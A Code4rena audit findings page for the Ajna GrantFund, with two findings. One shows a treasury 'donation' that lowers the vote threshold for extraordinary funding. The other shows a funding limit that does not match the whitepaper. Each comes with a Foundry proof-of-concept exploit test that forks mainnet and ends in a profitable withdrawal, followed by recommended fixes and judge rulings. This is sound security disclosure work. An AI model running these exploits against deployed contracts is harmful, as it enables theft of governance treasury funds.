Platform: Code4rena
Start Date: 03/05/2023
Pot Size: $60,500 USDC
Total HM: 25
Participants: 114
Period: 8 days
Judge: Picodes
Total Solo HM: 6
Id: 234
League: ETH
Rank: 36/114
Findings: 2
Award: $294.50
🌟 Selected for report: 0
🚀 Solo Findings: 0
171.2239 USDC - $171.22
A user could rig an Extraordinary Funding via free "donation" to treasury
The limit for tokensRequested is currently calculated as below:
// succeeded if proposal's votes received doesn't exceed the minimum threshold required (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
A user with significant amount of Ajna tokens could reduce the voting required by transferring his tokens to treasury (and because non-treasury = totalSupply - treasury) so _getSliceOfNonTreasury(minThresholdPercentage)
and votesReceived
minimum threshold is lowered; and also his voting power is not decreased due to the tranfer.
Let's take an example: In this case the total of Ajna tokens denoted by A.
Suppose treasury = 0.5A (50%) and non-treasury = 0.5A (also 50%)
Alice has 0.1A tokens
Alice then make a propose with tokensRequested (budget) = 0.2A
Suppose that she received 0.4A (0.3A votes from others and 0.1A votes from herself).
The proposal is still not successful since the condition is votesReceived
>=tokensRequested_ + 50% non-treasury = 0.2A + 0.5*0.5A = 0.45A
Alice now transfer 0.1A to treasury, treasury now = 0.6A, non-treasury = 0.4A
The above condition becomes: votesReceived
>=tokensRequested_ + 50% non-treasury = 0.2A + 0.5*0.4A = 0.4A.
The proposal is succeeded, Alice can now withdraw 0.2A tokens and profit 0.1A tokens.
Below is a POC for the above scenario:
// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import { GrantFund } from "../../src/grants/GrantFund.sol"; import { IExtraordinaryFunding } from "../../src/grants/interfaces/IExtraordinaryFunding.sol"; import { IFunding } from "../../src/grants/interfaces/IFunding.sol"; import { GrantFundTestHelper } from "../utils/GrantFundTestHelper.sol"; import { IAjnaToken } from "../utils/IAjnaToken.sol"; import { DrainGrantFund } from "../interactions/DrainGrantFund.sol"; contract ExtraordinaryFundingRigTest is GrantFundTestHelper { IAjnaToken internal _token; GrantFund internal _grantFund; // Ajna token Holder at the Ajna contract creation on mainnet address internal _tokenDeployer = 0x666cf594fB18622e1ddB91468309a7E194ccb799; address internal _tokenHolder1 = makeAddr("_tokenHolder1"); address internal _tokenHolder2 = makeAddr("_tokenHolder2"); // at this block on mainnet, all ajna tokens belongs to _tokenDeployer uint256 internal _startBlock = 16354861; function setUp() external { vm.createSelectFork(vm.envString("ETH_RPC_URL"), _startBlock); vm.startPrank(_tokenDeployer); // Ajna Token contract address on mainnet _token = IAjnaToken(0x9a96ec9B57Fb64FbC60B423d1f4da7691Bd35079); // deploy growth fund contract _grantFund = new GrantFund(); // treasury is 50% of Ajna token totalSupply changePrank(_tokenDeployer); _token.approve(address(_grantFund), 1_000_000_000 * 1e18); _grantFund.fundTreasury(1_000_000_000 * 1e18); // _tokenHolder1 hold 10% of Ajna token // _tokenHolder2 hold 30% of Ajna token _token.transfer(_tokenHolder1, 0.1 *2_000_000_000 * 1e18 ); _token.transfer(_tokenHolder2, 0.3 *2_000_000_000 * 1e18 ); } function testExtraordinaryRig() external { // The total balance is 2,000,000,000 * 1e18 and treasury is 1_000,000,000 * 1e18 // Balance of _tokenHolder1 is 200_000_000 which is 10% of total Ajna tokens // Balance of _tokenHolder2 is 600_000_000 which is 30% of total Ajna tokens uint256 balanceOfHolder1Before = _token.balanceOf(_tokenHolder1); assertEq(_token.totalSupply(), 2_000_000_000 * 1e18); assertEq(_grantFund.treasury(), 1_000_000_000 * 1e18); assertEq(balanceOfHolder1Before, 200_000_000* 1e18); assertEq(_token.balanceOf(_tokenHolder2), 600_000_000* 1e18); // _tokenHolder1 and _tokenHolder2 delegate votes to themselves changePrank(_tokenHolder1); _token.delegate(_tokenHolder1); changePrank(_tokenHolder2); _token.delegate(_tokenHolder2); vm.roll(_startBlock + 50); address[] memory targets = new address[](1); targets[0] = address(_token); uint256[] memory values = new uint256[](1); values[0] = 0; bytes[] memory calldatas = new bytes[](1); calldatas[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder1, 400_000_000 * 1e18 ); // create and submit proposal for 400_000_000 * 1e18 tokens (which is 20% of total Ajna tokens) TestProposalExtraordinary memory testProposal = _createProposalExtraordinary( _grantFund, _tokenHolder1, block.number + 100_000, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address" ); vm.roll(_startBlock + 150); // _tokenHolder2, 30% of the total Ajna tokens votes for the proposal _extraordinaryVote(_grantFund, _tokenHolder2, testProposal.proposalId, 1); // check proposal state ( uint256 proposalId, , , uint128 tokensRequested, uint120 votesReceived, bool executed ) = _grantFund.getExtraordinaryProposalInfo(testProposal.proposalId); assertEq(votesReceived, 600_000_000* 1e18); // votesReceived is 600_000_000 * 1e18, but the requirement is // votesReceived >= tokensRequested + 50% (non-treasury) = 900_000_000 * 1e18 // so the status is still active, not succeeded IFunding.ProposalState proposalState = _grantFund.state(testProposal.proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Active)); // _tokenHolder1 "donate" his 200_000_000 * 1e18 tokens to treasury, // reduce the required votes to 800_000_000 * 1e18 changePrank(_tokenHolder1); _token.approve(address(_grantFund), 200_000_000 * 1e18); _grantFund.fundTreasury(200_000_000 * 1e18); // _tokenHolder1 still has voting after "donating" to treasury _extraordinaryVote(_grantFund, _tokenHolder1, testProposal.proposalId, 1); proposalState = _grantFund.state(testProposal.proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Succeeded)); // execute proposal _executeExtraordinaryProposal(_grantFund, _token, testProposal); // _tokenHolder1 profits 200_000_000 * 1e18 Ajna tokens uint256 balanceOfHolder1After = _token.balanceOf(_tokenHolder1); assertEq(balanceOfHolder1After - balanceOfHolder1Before, 200_000_000 * 1e18); } }
Manual review
This issue is due to the fact that required vote limit could be lowered and user can preserve their voting power even after donating to the treasury. I recommend the protocol should stop donation feature while there are active proposals.
Invalid Validation
#0 - c4-judge
2023-05-18T10:04:37Z
Picodes marked the issue as duplicate of #285
#1 - c4-judge
2023-05-30T19:07:08Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-05-30T19:11:30Z
Picodes changed the severity to 2 (Med Risk)
🌟 Selected for report: 0xRobocop
Also found by: Dug, ktg, rvierdiiev, sces60107
123.2812 USDC - $123.28
According to the white paper in this link https://www.ajna.finance/pdf/Ajna_Protocol_Whitepaper_03-10-2023.pdf. Section 9.2.2 Extraordinary Funding Mechanism (EFM)
specifies that This mechanism works by allowing up to the percentage of non-treasury tokens, minimum threshold, that vote affirmatively to be removed from the treasury
. An example is given:
If 51% of non-treasury tokens vote affirmatively for a proposal, up to 1% of the treasury may be withdrawn by the proposal
However, function _extraordinaryProposalSucceeded
is implemented as follow:
function _extraordinaryProposalSucceeded( uint256 proposalId_, uint256 tokensRequested_ ) internal view returns (bool) { uint256 votesReceived = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived); uint256 minThresholdPercentage = _getMinimumThresholdPercentage(); return // succeeded if proposal's votes received doesn't exceed the minimum threshold required (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage)) ; }
The first condition votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)
,
meaning tokenRequested_
limit is votesReceived - _getSliceOfNonTreasury(minThresholdPercentage)
So if minThresholdPercentage
is 50% and 51% of non-treasury tokens vote affirmatively for a proposal
like in the above example, the limit of tokenRequested_
is (51% non-treasury - 50% non-treasury) = 1% non-treasury, so up to 1% of the treasury may be withdrawn by the proposal
is not correct, it's actually 1% of the non-treasury
.
Below is a POC, in that the above example is reflected: Total tokens supply is 2_000_000_000 * 1e18 Treasury is 500_000_000 * 1e18 51% of non-treasury (765_000_000* 1e18) votes for the proposal. However, a proposal for 15_000_000 * 1e18 (3% of treasury) is executed successfully.
// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import { GrantFund } from "../../src/grants/GrantFund.sol"; import { IExtraordinaryFunding } from "../../src/grants/interfaces/IExtraordinaryFunding.sol"; import { IFunding } from "../../src/grants/interfaces/IFunding.sol"; import { GrantFundTestHelper } from "../utils/GrantFundTestHelper.sol"; import { IAjnaToken } from "../utils/IAjnaToken.sol"; import { DrainGrantFund } from "../interactions/DrainGrantFund.sol"; contract ExtraordinaryFundingThresholdTest is GrantFundTestHelper { IAjnaToken internal _token; GrantFund internal _grantFund; // Ajna token Holder at the Ajna contract creation on mainnet address internal _tokenDeployer = 0x666cf594fB18622e1ddB91468309a7E194ccb799; address internal _tokenHolder1 = makeAddr("_tokenHolder1"); address[] internal _votersArr = [_tokenHolder1]; // at this block on mainnet, all ajna tokens belongs to _tokenDeployer uint256 internal _startBlock = 16354861; function setUp() external { vm.createSelectFork(vm.envString("ETH_RPC_URL"), _startBlock); vm.startPrank(_tokenDeployer); // Ajna Token contract address on mainnet _token = IAjnaToken(0x9a96ec9B57Fb64FbC60B423d1f4da7691Bd35079); // deploy growth fund contract _grantFund = new GrantFund(); // initial minter distributes treasury to grantFund changePrank(_tokenDeployer); _token.approve(address(_grantFund), 500_000_000 * 1e18); _grantFund.fundTreasury(500_000_000 * 1e18); // transfer 51% of the non-treasury tokens to _tokenHolder1 // which is 51% * (2_000_000_000 - 500_000_000) * 1e18 = 765_000_000 * 1e18 tokens _token.transfer(_tokenHolder1, 0.51 *(2_000_000_000 - 500_000_000) * 1e18 ); } function testExtraordinaryThreshold() external { // The total balance is 2,000,000,000 * 1e18 and treasury is 500,000,000 * 1e18 // also the tokens for _tokenHolder1 is 765_000_000* 1e18 (51% of non-treasury) uint256 balanceOfHolder1Before = _token.balanceOf(_tokenHolder1); assertEq(_token.totalSupply(), 2_000_000_000 * 1e18); assertEq(_grantFund.treasury(), 500_000_000 * 1e18); assertEq(balanceOfHolder1Before,765_000_000* 1e18); // Delegate of tokenHolder1 for themselves changePrank(_tokenHolder1); _token.delegate(_tokenHolder1); vm.roll(_startBlock + 50); address[] memory targets = new address[](1); targets[0] = address(_token); uint256[] memory values = new uint256[](1); values[0] = 0; bytes[] memory calldatas = new bytes[](1); calldatas[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder1, 15_000_000 * 1e18 ); // create and submit proposal for 15_000_000 * 1e18 tokens, which is 3% of the treasury TestProposalExtraordinary memory testProposal = _createProposalExtraordinary( _grantFund, _tokenHolder1, block.number + 100_000, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address" ); vm.roll(_startBlock + 150); // _tokenHolder1, 51% of non-treasury votes on the proposal _extraordinaryVote(_grantFund, _tokenHolder1, testProposal.proposalId, 1); IFunding.ProposalState proposalState = _grantFund.state(testProposal.proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Succeeded)); // execute proposal _executeExtraordinaryProposal(_grantFund, _token, testProposal); // 15_000_000 (3% of treasury) is transferred to _tokenHolder1 uint256 balanceOfHolder1After = _token.balanceOf(_tokenHolder1); assertEq(balanceOfHolder1After - balanceOfHolder1Before, 15_000_000 * 1e18); } }
Manual review
I recommend changing the formula to limit tokenRequested_
to 1% to treasury.
Invalid Validation
#0 - c4-judge
2023-05-17T12:31:50Z
Picodes marked the issue as duplicate of #294
#1 - c4-judge
2023-05-17T12:32:19Z
Picodes marked the issue as selected for report
#2 - c4-sponsor
2023-05-19T18:57:21Z
MikeHathaway marked the issue as sponsor confirmed
#3 - c4-judge
2023-05-30T22:41:54Z
Picodes marked issue #164 as primary and marked this issue as a duplicate of 164
#4 - c4-judge
2023-05-31T14:10:34Z
Picodes marked the issue as satisfactory